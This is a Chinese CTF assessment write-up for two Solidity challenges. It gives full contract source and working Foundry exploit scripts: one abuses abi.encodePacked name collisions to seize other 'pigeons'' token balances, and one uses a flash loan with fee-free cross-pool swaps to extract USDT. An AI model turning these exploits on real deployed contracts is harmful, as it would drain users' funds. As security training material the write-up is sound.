考核wp

[toc]

Pigeon合约

这个题需要我们满足:盗走合约余额,并且使我们所有。

逻辑关键点在于task函数、flyway函数以及promotion函数,我们需要通过调用task函数积累任务点数,任务点数可以晋升。再加上你随时可以飞走,而晋升是需要扣掉你的余额的,但是飞走可以让你带走余额。所以我们可以先成为鸽子,薅空投可以获得4余额,然后调用2次task函数,一次4,两次8 ,然后飞走,晋升中级鸽子;再调用task,一次4 三次12,可以晋升到高级鸽子。这样可以无损晋升。

合约突破点在晋升时,我们的名字拥有一次重命名的机会,而名字是通过codename = keccak256(abi.encodePacked("code", "name"))进行拼接。这里有个点是:由于是拼接,我们可以变成其他同等级的鸽子,而在Setup合约里面有6只,其中三只都是有余额的。

晋升时,我们需要一只一只的伪造,不能一个合约同时满足,因为调用者地址限制了这一操作。

特殊的是第一只初级鸽子,不需要我们晋升,只需要我们先创建一个cod+ename的鸽子,在成为鸽子的时候就能伪造成codename的鸽子,即可飞走。以及最后一只鸽子直接飞走 转账即可

举个简单例子就是:鸽子名:code+name, 我们可以创建个cod +ename的鸽子 在成为鸽子或者晋升时候就能成为code+name的鸽子,并且拥有它的余额。

最后在转到我们自己的地址上即可满足题解

考点:abi.encode()abi.encodePacked()的区别,以及各种地址(tx.origin、msg.sender、address(this))的掌握

合约源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;
//v4.local.lpzWVP5vGKV6n9tJVFWkyoK4wMVJbdFZO0MRwYVs31xB97VVXvySyNYx08i1yabYXz_pJ7eFIwBmmAyNGzY07G73zuXWG1DR_dS5vyXOPLNEkYm442CUUjK9OMukIqL_lMu4wmMjytVJ3_FaTQUsh8L5QcQT5KVJaYU7-S_3Iqip8g.U2V0dXA
//deployer account: 0x2c825E2a904874B877bCd768d6d8C6De93BEfC5e
//contract address: 0x980924531558d85535671dABb4BEA70b2f210A67
//rpc:http://1.94.226.249:20004/
import {Pigeon} from "./Pigeon.sol";
import {PigeonToken} from "./PigeonToken.sol";

contract Setup {
Pigeon public pigeon; //鸽子合约
PigeonToken public token; //鸽子代币合约
bool isAirdrop; //是否空投
bool solved; //是否解决

constructor() {
token = new PigeonToken("PigeonToken", "PNK", address(this)); // PNK铸币给合约(34个鸽子代币)
pigeon = new Pigeon(address(token)); //部署鸽子合约

token.approve(address(pigeon), 30e18); //token授权给鸽子合约 30个鸽子代币 给其中的3个鸽子(5 10 15)
// Junior Pigeons
pigeon.assignPigeon("Numbuh", "6", address(0x006), 0, 0); //分配鸽子初级
pigeon.assignPigeon("Numbuh", "5", address(0x005), 0, 5e18); // 分配鸽子 初级 5

// Associate Pigeons
pigeon.assignPigeon("Numbuh", "4", address(0x004), 1, 0); //分配鸽子 中级
pigeon.assignPigeon("Numbuh", "3", address(0x003), 1, 10e18); // 分配鸽子 中级 10

// Senior Pigeons
pigeon.assignPigeon("Numbuh", "2", address(0x002), 2, 0); //分配鸽子 高级
pigeon.assignPigeon("Numbuh", "1", address(0x001), 2, 15e18); // 分配鸽子 高级 15
}//现在鸽子合约里面有30个鸽子代币

function airdrop() external {
require(!isAirdrop, "You have already airdropped!");
isAirdrop = true;
token.transfer(msg.sender, 4e18);
} //空投 给调用者4个鸽子代币

function check() external {
bool hasEnoughTokens = token.balanceOf(msg.sender) >= 34e18;
//检查我的token余额是否大于等于34个
// 检查 Pigeon 合约中的代币余额是否为 0
bool pigeonBalanceIsZero = token.balanceOf(address(pigeon)) == 0;

solved = hasEnoughTokens && pigeonBalanceIsZero;
}

function isSolved() external view returns (bool) {
return solved;
}
}

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "./lib/ERC20.sol";

contract PigeonToken is ERC20 {
constructor(
string memory name,
string memory symbol,
address owner
) ERC20(name, symbol) {
_mint(owner, 34e18);
}
} //铸币 34个PNK(鸽子代币)给Setup合约

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;

import "./lib/ERC20.sol";

contract Pigeon {
address private owner; //拥有者
uint256 private ownerBalance; //拥有者余额
uint256 private juniorPromotion; //初级晋升
uint256 private associatePromotion; //中级晋升

mapping(bytes32 => address) private seniorPigeon; //高级鸽子
mapping(bytes32 => address) private associatePigeon; //中级鸽子
mapping(bytes32 => address) private juniorPigeon; //初级鸽子
mapping(address => bool) private isPigeon; //是否是鸽子
mapping(string => mapping(string => bool)) private codeToName; //代码到名称
mapping(bytes32 => uint256) private taskPoints; //任务点数

mapping(address => mapping(address => uint256)) private dataCollection; //数据收集
mapping(address => bool) private hasBeenCollected; //已经收集
mapping(bytes32 => uint256) private treasury; //财政

IERC20 public pigeonToken; //鸽子代币

modifier onlyOwner() {
if (owner != msg.sender) revert("not owner");
_;
}

modifier oneOfUs() {
if (!isPigeon[msg.sender]) revert("not pigeon");
_;
} //我们是不是鸽子

constructor(address _pigeonToken) {
owner = msg.sender;
juniorPromotion = 8e18; // 初级晋升需要8个鸽子代币
associatePromotion = 12e18; // 中级晋升需要12个鸽子代币
pigeonToken = IERC20(_pigeonToken);
}

function becomeAPigeon(
string memory code,
string memory name
) public returns (bytes32 codeName) {
codeName = keccak256(abi.encodePacked(code, name)); // 代码名称 即 我们的ID

if (codeToName[code][name]) revert("name exists");
if (isPigeon[msg.sender]) revert("already pigeon");

juniorPigeon[codeName] = msg.sender;
isPigeon[msg.sender] = true;
codeToName[code][name] = true;

return codeName;
} //成为鸽子

function task(
bytes32 codeName,
address person,
uint256 data
) public oneOfUs {
if (person == address(0)) revert("zero address");
if (isPigeon[person]) revert("person is already pigeon");
if (pigeonToken.balanceOf(person) != data) revert("balance mismatch");

uint256 points = data;

hasBeenCollected[person] = true; //已经收集
dataCollection[msg.sender][person] = points; //数据收集
taskPoints[codeName] += points; //任务点数
} //任务(不能是0地址,参与人必须是鸽子,并且所拥有的余额等于data)

function flyAway(bytes32 codeName, uint256 rank) public oneOfUs {
uint256 bag = treasury[codeName];
treasury[codeName] = 0;

if (rank == 0) {
if (taskPoints[codeName] > juniorPromotion)
revert("task points too high");

require(
pigeonToken.transfer(juniorPigeon[codeName], bag),
"Transfer failed."
);
}
if (rank == 1) {
if (taskPoints[codeName] > associatePromotion)
revert("task points too high");

require(
pigeonToken.transfer(associatePigeon[codeName], bag),
"Transfer failed."
);
}
if (rank == 2) {
require(
pigeonToken.transfer(seniorPigeon[codeName], bag),
"Transfer failed."
);
}
} //飞走并且领取自己存入的鸽子代币

function promotion(
bytes32 codeName,
uint256 desiredRank,
string memory newCode,
string memory newName
) public oneOfUs {
if (desiredRank == 1) {
if (msg.sender != juniorPigeon[codeName])
revert("msg.sender != juniorPigeon[codeName]");
if (taskPoints[codeName] < juniorPromotion)
revert("taskPoints[codeName] < juniorPromotion");
ownerBalance += treasury[codeName];

bytes32 newCodeName = keccak256(abi.encodePacked(newCode, newName));

if (codeToName[newCode][newName])
revert("newCode[newName] is already exists");
associatePigeon[newCodeName] = msg.sender;
codeToName[newCode][newName] = true;
taskPoints[codeName] = 0;
delete juniorPigeon[codeName];

require(
pigeonToken.transfer(owner, treasury[codeName]),
"Transfer failed."
);
}

if (desiredRank == 2) {
if (msg.sender != associatePigeon[codeName])
revert("msg.sender != associatePigeon[codeName]");
if (taskPoints[codeName] < associatePromotion)
revert("taskPoints[codeName] < associatePromotion");
ownerBalance += treasury[codeName];

bytes32 newCodeName = keccak256(abi.encodePacked(newCode, newName));

if (codeToName[newCode][newName])
revert("newCode[newName] is already exists");
seniorPigeon[newCodeName] = msg.sender;
codeToName[newCode][newName] = true;
taskPoints[codeName] = 0;
delete seniorPigeon[codeName];

require(
pigeonToken.transfer(owner, treasury[codeName]),
"Transfer failed."
);
}
} //晋升 删除自己的上一级数据(ID、任务点数和晋升所需要的鸽子代币)并且给自己重命名

function assignPigeon(
string memory code,
string memory name,
address pigeon,
uint256 rank, //等级
uint256 value //鸽子代币
) external onlyOwner {
bytes32 codeName = keccak256(abi.encodePacked(code, name));

if (rank == 0) {
juniorPigeon[codeName] = pigeon;
pigeonToken.transferFrom(msg.sender, address(this), value);
treasury[codeName] = value;
juniorPigeon[codeName] = pigeon;
isPigeon[pigeon] = true;
codeToName[code][name] = true;
}

if (rank == 1) {
associatePigeon[codeName] = pigeon;
pigeonToken.transferFrom(msg.sender, address(this), value);
treasury[codeName] = value;
associatePigeon[codeName] = pigeon;
isPigeon[pigeon] = true;
codeToName[code][name] = true;
}

if (rank == 2) {
seniorPigeon[codeName] = pigeon;
pigeonToken.transferFrom(msg.sender, address(this), value);
treasury[codeName] = value;
seniorPigeon[codeName] = pigeon;
isPigeon[pigeon] = true;
codeToName[code][name] = true;
}
} //分配鸽子

function exit() public onlyOwner {
require(pigeonToken.transfer(owner, ownerBalance), "Transfer failed.");
} //退出
}

Poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
pragma solidity ^0.8.0;

import "../src/lib/ERC20.sol";
import {Script, console} from "forge-std/Script.sol";
import {Pigeon, PigeonToken, Setup} from "../src/Setup.sol";
//然后我们成为鸽子,然后调用2次task函数,一次4,两次8 然后飞走,晋升中级鸽子,再调用task,一次4 三次12,可以晋升到高级鸽子。这样可以无损晋升。
contract Attack1 {
Pigeon public pigeon;
PigeonToken public token;
Setup public setup;
bytes32 codename;

constructor(address _setup) {
setup = Setup(_setup);
pigeon = setup.pigeon();
token = setup.token();
}

function hack1() public {
token.approve(msg.sender, 5e18);
codename = keccak256(abi.encodePacked("Numb", "uh5"));
pigeon.becomeAPigeon("Numb", "uh5"); //成为初级鸽子,哈希碰撞后,我们是5个代币的鸽子
pigeon.flyAway(codename, 0); //飞走
}
receive() external payable {}
}

contract Attack2 {
Pigeon public pigeon;
PigeonToken public token;
Setup public setup;
bytes32 codename;

constructor(address _setup) {
setup = Setup(_setup);
pigeon = setup.pigeon();
token = setup.token();
}

function hack2() public {
token.approve(msg.sender, 10e18);
codename = keccak256(abi.encodePacked("Numb", "uh3"));
pigeon.becomeAPigeon("Numb", "uh3");
pigeon.task(codename, address(tx.origin), 4e18); //调用task函数
pigeon.task(codename, address(tx.origin), 4e18); //调用task函数

pigeon.flyAway(codename, 0); //飞走
//晋升成中级鸽子
}
}
contract Attack3 {
Pigeon public pigeon;
PigeonToken public token;
Setup public setup;
bytes32 codename;

constructor(address _setup) {
setup = Setup(_setup);
pigeon = setup.pigeon();
token = setup.token();
}

function hack3() public {
token.approve(msg.sender, 15e18);
codename = keccak256(abi.encodePacked("Numb", "uh12"));
pigeon.becomeAPigeon("Numb", "uh12");
pigeon.task(codename, address(tx.origin), 4e18); //调用task函数
pigeon.task(codename, address(tx.origin), 4e18); //调用task函数
pigeon.promotion(codename, 1, "Numb", "uh1");
codename = keccak256(abi.encodePacked("Numb", "uh1"));
pigeon.task(codename, address(tx.origin), 4e18); //调用task函数
pigeon.task(codename, address(tx.origin), 4e18); //调用task函数
pigeon.task(codename, address(tx.origin), 4e18); //调用task函数
pigeon.flyAway(codename, 1); //飞走
token.transfer(msg.sender, 15e18);
}
receive() external payable {}
}

contract Hack is Script {
PigeonToken public token;
Pigeon public pigeon;
Setup public setup;
Attack1 public attack1;
Attack2 public attack2;
Attack3 public attack3;

function run() external {
setup = Setup(0x980924531558d85535671dABb4BEA70b2f210A67);
token = setup.token();
pigeon = setup.pigeon();
vm.startBroadcast();
setup.airdrop();
attack1 = new Attack1(0x980924531558d85535671dABb4BEA70b2f210A67);
attack2 = new Attack2(0x980924531558d85535671dABb4BEA70b2f210A67);
attack3 = new Attack3(0x980924531558d85535671dABb4BEA70b2f210A67);
attack1.hack1();
attack2.hack2();
attack3.hack3();
token.transferFrom(address(attack1), msg.sender, 5e18);
token.transferFrom(address(attack2), msg.sender, 10e18);
setup.check();
vm.stopBroadcast();
console.log(token.balanceOf(address(pigeon)));
console.log(token.balanceOf(msg.sender));

require(setup.isSolved(), "Not solved!");
}
}

DEX合约

这个题需要接受者地址的USDT余额大于100 ether

逻辑关键点在于flashloan函数和swap函数,转账之前要先考虑授权金额,不够的要调用approve函数进行提权

题目作为一个交易所合约,创建了三个不同代币之间转换池(USDT、DLNU、RWEB)。

而这题的逻辑点在于转换代币是没有手续费的。我们可以利用交易池的流动性不同进行代币转换,从中套利。虽然我们手里没有资金,但是可以通过闪电贷进行借贷,然后在闪电贷指定的函数中构造我们的逻辑:进行代币转换。

所以先借USDT 然后利用USDT–>DLNU DLNU—>RWEB RWEB—>USDT。而且调用swap函数时需要考虑token0是谁

合约源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
//contracts/Setup.sol
// SPDX-License-Identifier: MIT
//token:v4.local.jna1mC3KpnBM0-XmlLS_MA4nZa1OdlHZmZyRqzA1MGdTGqZJtdC8_J63VcaYekeQkPitoKQD9Zcvdt3BKNdkHgvIUbMlo5BoQBC232lUmYuq3O_yozPI6Ks37A-vcTYs83eO1mRVp_igX3p-wd4bKXmS7Gsj_GRdNdwWAzaJSMyF7A.U2V0dXA
//contract address: 0x854026c2fAB17E3e3240fA2D1cf62E4ef959ada6
pragma solidity ^0.8.0;

import {SimpleDEX} from "./DEX.sol";
import {IToken} from "./IToken.sol";

contract Setup {
SimpleDEX public dex;
address public profitReceiver = 0x0000000000000000000000000000000000000001;
IToken public USDT; //代币
IToken public DLNU; //代币
IToken public RWEB; //代币

constructor() {
dex = new SimpleDEX();

USDT = new IToken("Tether USD", "USDT", address(this));
DLNU = new IToken("VN Coin", "DLNU", address(this));
RWEB = new IToken("WM Coin", "RWEB", address(this));

USDT.approve(address(dex), type(uint256).max); //无限授权
DLNU.approve(address(dex), type(uint256).max); //无限授权
RWEB.approve(address(dex), type(uint256).max); //无限授权

dex.createLiquidityPool(address(USDT), address(DLNU)); //创建流动性池
dex.addLiquidity(0, 10000 ether, 100_000 ether); //添加流动性
dex.createLiquidityPool(address(DLNU), address(RWEB)); //创建流动性池
dex.addLiquidity(1, 100_000 ether, 100_000 ether); //添加流动性
dex.createLiquidityPool(address(USDT), address(RWEB)); //创建流动性池
dex.addLiquidity(2, 10_000 ether, 10_000 ether); //添加流动性
uint256 restUSDT = USDT.balanceOf(address(this)); //余额
USDT.approve(address(dex), restUSDT); //授权
dex.addLoan(restUSDT, address(USDT)); //添加贷款
uint256 restDLNU = DLNU.balanceOf(address(this)); //余额
DLNU.approve(address(dex), restDLNU); //授权
dex.addLoan(restDLNU, address(DLNU)); //添加贷款
uint256 restRWEB = RWEB.balanceOf(address(this)); //余额
RWEB.approve(address(dex), restRWEB); //授权
dex.addLoan(restRWEB, address(RWEB)); //添加贷款
}

function isSolved() external view returns (bool) {
return USDT.balanceOf(profitReceiver) >= 100 ether;
} //是否解决
}
//contracts/DEX.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "./lib/ReentrancyGuard.sol";
import "./IToken.sol";

contract SimpleDEX is ReentrancyGuard {
struct AMM {
IToken token0;
IToken token1;
uint256 reserve0; //储备0
uint256 reserve1; //储备1
mapping(address => uint256) lpBalances0; //流动性提供者余额0
mapping(address => uint256) lpBalances1; //流动性提供者余额1
} //资金池

AMM[] public amms; //资金池

event FlashLoan(address indexed borrower, uint256 amount); //闪电贷事件

constructor() {}

function addAMM(address _token0, address _token1) external {
require(_token0 != _token1, "Tokens must be different");

amms.push(); //添加
uint256 index = amms.length - 1; //索引
AMM storage amm = amms[index]; //资金池

amm.token0 = IToken(_token0);
amm.token1 = IToken(_token1);
amm.reserve0 = 0;
amm.reserve1 = 0;
} //添加资金池

function createLiquidityPool(address _token0, address _token1) external {
require(_token0 != _token1, "Tokens must be different"); //代币必须不同

amms.push();
uint256 index = amms.length - 1;
AMM storage amm = amms[index];

amm.token0 = IToken(_token0);
amm.token1 = IToken(_token1);
amm.reserve0 = 0;
amm.reserve1 = 0;
} //创建流动性池

function addLiquidity(
uint256 ammIndex,
uint256 amount0,
uint256 amount1
) external {
AMM storage amm = amms[ammIndex];
require(
amm.token0.transferFrom(msg.sender, address(this), amount0),
"Transfer of token0 failed"
); //调用者向合约转账
require(
amm.token1.transferFrom(msg.sender, address(this), amount1),
"Transfer of token1 failed"
); //调用者向合约转账

amm.reserve0 += amount0;
amm.reserve1 += amount1;
amm.lpBalances0[msg.sender] += amount0;
amm.lpBalances1[msg.sender] += amount1;
} //添加流动性

function removeLiquidity(uint256 ammIndex, uint256 lpAmount) external {
AMM storage amm = amms[ammIndex];
uint256 amount0 = (lpAmount * amm.lpBalances0[msg.sender]) / 100; //计算
uint256 amount1 = (lpAmount * amm.lpBalances1[msg.sender]) / 100; //计算
require(
amm.token0.transfer(msg.sender, amount0),
"Transfer of token0 failed"
); //向调用者转账
require(
amm.token1.transfer(msg.sender, amount1),
"Transfer of token1 failed"
); //向调用者转账

amm.reserve0 -= amount0; //减少储备0
amm.reserve1 -= amount1; //减少储备1
amm.lpBalances0[msg.sender] -= amount0; //减少流动性
amm.lpBalances1[msg.sender] -= amount1; //减少流动性
} //移除流动性

function getPrice(uint256 ammIndex) external view returns (uint256) {
AMM storage amm = amms[ammIndex];

require(amm.reserve1 > 0, "Insufficient liquidity"); //流动性不足
return amm.reserve0 / amm.reserve1; //返回兑换比例 储备0/储备1
} //获取价格

function swap(uint256 ammIndex, uint256 amountIn, bool isToken0) external {
AMM storage amm = amms[ammIndex];

uint256 reserveIn = isToken0 ? amm.reserve0 : amm.reserve1; //判断谁是输入
uint256 reserveOut = isToken0 ? amm.reserve1 : amm.reserve0; //判断谁是输出

uint256 amountOut = getAmountOut(amountIn, reserveIn, reserveOut); //通过计算兑换比例获取输出金额

if (isToken0) {
require(
amm.token0.transferFrom(msg.sender, address(this), amountIn),
"Transfer of token0 failed"
);
require(
amm.token1.transfer(msg.sender, amountOut),
"Transfer of token1 failed"
);
amm.reserve0 += amountIn;
amm.reserve1 -= amountOut;
} else {
require(
amm.token1.transferFrom(msg.sender, address(this), amountIn),
"Transfer of token1 failed"
);
require(
amm.token0.transfer(msg.sender, amountOut),
"Transfer of token0 failed"
);
amm.reserve1 += amountIn;
amm.reserve0 -= amountOut;
}
} //交换

function addLoan(uint256 amount, address token) external {
require(
IToken(token).transferFrom(msg.sender, address(this), amount),
"Transfer of tokens failed"
);
} //添加贷款

function flashLoan(uint256 amount, address token) external nonReentrant {
emit FlashLoan(msg.sender, amount);
require(
IToken(token).balanceOf(address(this)) >= amount,
"Not enough tokens in pool"
);

IToken(token).transfer(msg.sender, amount);
(bool success, ) = msg.sender.call(
abi.encodeWithSignature(

"executeOperation(uint256,address)",
amount,
token
)
);
require(success, "Callback failed");

require(
IToken(token).transferFrom(msg.sender, address(this), amount),
"Transfer of tokens failed"
);

emit FlashLoan(msg.sender, amount);
} //闪电贷

function getAmountOut(
uint256 amountIn,
uint256 reserveIn,
uint256 reserveOut
) internal pure returns (uint256) {
require(amountIn > 0, "Insufficient input amount");
require(reserveIn > 0 && reserveOut > 0, "Insufficient liquidity");
uint256 amountInWithFee = amountIn * 1000;
uint256 numerator = amountInWithFee * reserveOut;
uint256 denominator = reserveIn * 1000 + amountInWithFee;
return numerator / denominator;
} //获取输出金额
//流入token*1000*交易池输出token数量/(交易池输入*1000+流入token*1000)
}
//contracts/IToken.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "./lib/ERC20.sol";

contract IToken is ERC20 {
constructor(string memory name, string memory symbol, address owner) ERC20(name, symbol) {
_mint(owner, 1e30);
}
}

Poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
pragma solidity ^0.8.0;

import {Setup, IToken, SimpleDEX} from "../src/Setup.sol";
import {Script} from "forge-std/Script.sol";

contract Attack {
Setup setup = Setup(0x854026c2fAB17E3e3240fA2D1cf62E4ef959ada6);
// Setup setup = Setup(0x5FbDB2315678afecb367f032d93F642f64180aa3);

address public profitReceiver = 0x0000000000000000000000000000000000000001;
SimpleDEX public dex;
IToken public USDT;
IToken public DLNU;
IToken public RWEB;

function loan() external {
dex = setup.dex();
USDT = setup.USDT();
DLNU = setup.DLNU();
RWEB = setup.RWEB();
dex.flashLoan(1000 ether, address(USDT));
}
function executeOperation(uint256, address) external {
USDT.approve(address(dex), 1000 ether);
DLNU.approve(address(dex), 5263 ether);
RWEB.approve(address(dex), 5263 ether);
dex.swap(0, 1000 ether, true);
dex.swap(1, 5263 ether, true);
dex.swap(2, 4999 ether, false);
USDT.approve(profitReceiver, 3999 ether);
USDT.approve(address(dex), 1000 ether);
require(USDT.transfer(profitReceiver, 2332 ether), "transfer failed");
}
}

contract Hack is Script {
SimpleDEX public dex;
Setup public setup;
Attack public attack;

IToken public USDT; //代币
IToken public DLNU; //代币
IToken public RWEB; //代币

function run() external {
vm.startBroadcast();
setup = Setup(0x854026c2fAB17E3e3240fA2D1cf62E4ef959ada6);
// setup = Setup(0x5FbDB2315678afecb367f032d93F642f64180aa3);
attack = new Attack();
attack.loan();
vm.stopBroadcast();
require(setup.isSolved(), "not solved");
}
// 先闪电贷USDT,然后通过USDT和DLNU的流动性池,兑换成DLNU,然后无损转换成RWEB,再通过RWEB和USDT的流动性池,兑换成USDT,最后还款,成功套利。
/**借 1000 USDT 进行 swap
1000 USDT 兑换 5263 DLNU
用 DLNU 兑换 RWEB
5263 DLNU 兑换 4999 RWEB
用 RWEB 兑换 USDT
4999 RWEB 兑换 4999 USDT

转账 2999 USDT
*/
}